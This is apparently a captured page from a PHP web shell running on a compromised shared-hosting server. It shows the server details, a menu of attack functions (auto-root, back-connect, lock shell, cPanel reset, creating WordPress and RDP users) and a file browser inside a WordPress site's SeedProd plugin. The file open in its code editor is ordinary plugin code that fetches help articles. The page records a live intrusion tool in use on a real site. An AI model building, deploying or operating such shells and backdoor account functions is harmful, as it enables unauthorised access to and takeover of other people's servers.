Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.216.3.63
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
besthealthsdeals.com /
wp-content /
plugins /
coming-soon /
app /
[ HOME SHELL ]
Name
Size
Permission
Action
backwards
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
admin-bar-menu.php
3.95
KB
-rw-r--r--
bootstrap.php
20.46
KB
-rw-r--r--
class-seedprod-notifications.p...
9.63
KB
-rw-r--r--
class-seedprod-review.php
5.97
KB
-rw-r--r--
cpt.php
541
B
-rw-r--r--
edit_with_seedprod.php
21.61
KB
-rw-r--r--
functions-addons.php
17.51
KB
-rw-r--r--
functions-envira-gallaries.php
799
B
-rw-r--r--
functions-inline-help.php
5.3
KB
-rw-r--r--
functions-openai.php
16.53
KB
-rw-r--r--
functions-rafflepress.php
1.86
KB
-rw-r--r--
functions-seedprod-gallery.php
7
B
-rw-r--r--
functions-utils.php
258.71
KB
-rw-r--r--
functions-wpforms.php
1.6
KB
-rw-r--r--
import-cross-site-functions.ph...
3.2
KB
-rw-r--r--
license.php
5.43
KB
-rw-r--r--
load_controller.php
1.69
KB
-rw-r--r--
lpage.php
34.91
KB
-rw-r--r--
nestednavmenu.php
5.09
KB
-rw-r--r--
render-csp-mm.php
9.8
KB
-rw-r--r--
render-dynamic-tags.php
26.24
KB
-rw-r--r--
render-lp.php
1.15
KB
-rw-r--r--
routes.php
24.62
KB
-rw-r--r--
settings.php
4.9
KB
-rw-r--r--
setup-wizard.php
12.08
KB
-rw-r--r--
subscriber.php
2.63
KB
-rw-r--r--
theme-templates.php
39.34
KB
-rw-r--r--
wp-cli-functions.php
22.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functions-inline-help.php
<?php /** * Get data. * * * @return array Localized data. */ function seedprod_lite_fetch_inline_help_data() { return array( 'category_articles' => seedprod_lite_fetch_articles(), ); } // Action add_action( 'seedprod_lite_fetch_help_docs', 'seedprod_lite_update_help_articles' ); /** * Get docs from the cache. * * @since 1.6.3 * * @return array Docs data. */ function seedprod_lite_fetch_articles() { // Get cache file. $upload_dir = wp_upload_dir(); $path = trailingslashit( $upload_dir['basedir'] ) . 'seedprod-help-docs/'; // target directory. $cache_file = wp_normalize_path( trailingslashit( $path ) . 'articles.json' ); if ( is_file( $cache_file ) && is_readable( $cache_file ) ) { $articles = json_decode( file_get_contents( $cache_file ), true ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents } clearstatcache(); if ( empty( $articles ) ) { // This code should only when there are no articles available. // seedprod_lite_update_help_articles() should be triggered by schedule. $articles = seedprod_lite_update_help_articles(); } // Store in class private variable for further use. $articles = ! empty( $articles ) ? $articles : array(); return $articles; } /** * Update docs cache with actual data retrieved from the remote source. * * @since 1.6.3 * * @return array|boolean Updated docs data. Or false on error. */ function seedprod_lite_update_help_articles() { // Fetch categories. $categories = seedprod_lite_fetch_categories(); $articles = array(); // Loop over categories. if ( ! is_array( $categories ) ) { $categories = array(); } if ( ! empty( $categories ) ) { // Loop over categories and get articles. $categories_length = count( $categories ); for ( $i = 0; $i < $categories_length; $i++ ) { $current_category = $categories[ $i ]; $request = wp_remote_get( add_query_arg( 'ht-kb-category', $current_category['id'], 'https://www.seedprod.com/wp-json/wp/v2/ht-kb' ), array() ); if ( is_wp_error( $request ) ) { return false; } $content = wp_remote_retrieve_body( $request ); // Attempt to decode the json data. $fetched_articles = json_decode( $content, true ); $articles_array = array( 'category_details' => array(), ); // If the data successfully decoded to array we caching the content. if ( is_array( $fetched_articles ) ) { $articles_array['category_details'] = array( 'id' => $current_category['id'], 'name' => $current_category['name'], 'slug' => $current_category['slug'], 'article_count' => $current_category['count'], ); $fetched_articles_count = count( $fetched_articles ); $fetched_articles_cleaned = array(); // Process fetched articles. for ( $a = 0; $a < $fetched_articles_count; $a++ ) { array_push( $fetched_articles_cleaned, array( 'id' => $fetched_articles[ $a ]['id'], 'date' => $fetched_articles[ $a ]['date'], 'slug' => $fetched_articles[ $a ]['slug'], 'link' => $fetched_articles[ $a ]['link'], 'title' => $fetched_articles[ $a ]['title'], ) ); } // Set articles. $articles_array['articles'] = $fetched_articles_cleaned; // Push docs array to the main articles array. array_push( $articles, $articles_array ); } else { $fetched_articles = array(); } } } else { $articles = array(); } // Add content to file & cache. if ( ! empty( $articles ) && is_array( $articles ) ) { // Set up upload file. $upload_dir = wp_upload_dir(); $path = trailingslashit( $upload_dir['basedir'] ) . 'seedprod-help-docs/'; // target directory. $cache_file = wp_normalize_path( trailingslashit( $path ) . 'articles.json' ); // Add fresh contents to cache file. if ( true === seedprod_lite_set_up_upload_dir( $path, $cache_file ) ) { file_put_contents( $cache_file, wp_json_encode( $articles ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_file_put_contents } } return $articles; } /** * Create articles upload directory & create index file. * * @param string $path * @param string $cache_file * @return boolean|string */ function seedprod_lite_set_up_upload_dir( $path, $cache_file ) { try { // Check if directory exists. Create if it doesn't. if ( ! is_dir( $path ) ) { wp_mkdir_p( dirname( $cache_file ) ); } // Create index file. $index_file = wp_normalize_path( trailingslashit( $path ) . 'index.html' ); // Create empty index.html. if ( ! file_exists( $index_file ) ) { file_put_contents( $index_file, '' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_file_put_contents } return true; } catch( \Exception $ex ) { return $ex->getMessage(); } } /** * Get categories. * * @since 1.6.3 * * @return array Categories data. */ function seedprod_lite_fetch_categories() { // Fetch categories. $request = wp_remote_get( 'https://www.seedprod.com/wp-json/wp/v2/ht-kb-category' ); if ( is_wp_error( $request ) ) { return false; } $content = wp_remote_retrieve_body( $request ); // Attempt to decode the json data. $categories = json_decode( $content, true ); // If the data successfully decoded to array we caching the content. if ( ! is_array( $categories ) ) { $categories = array(); } return $categories; }
Close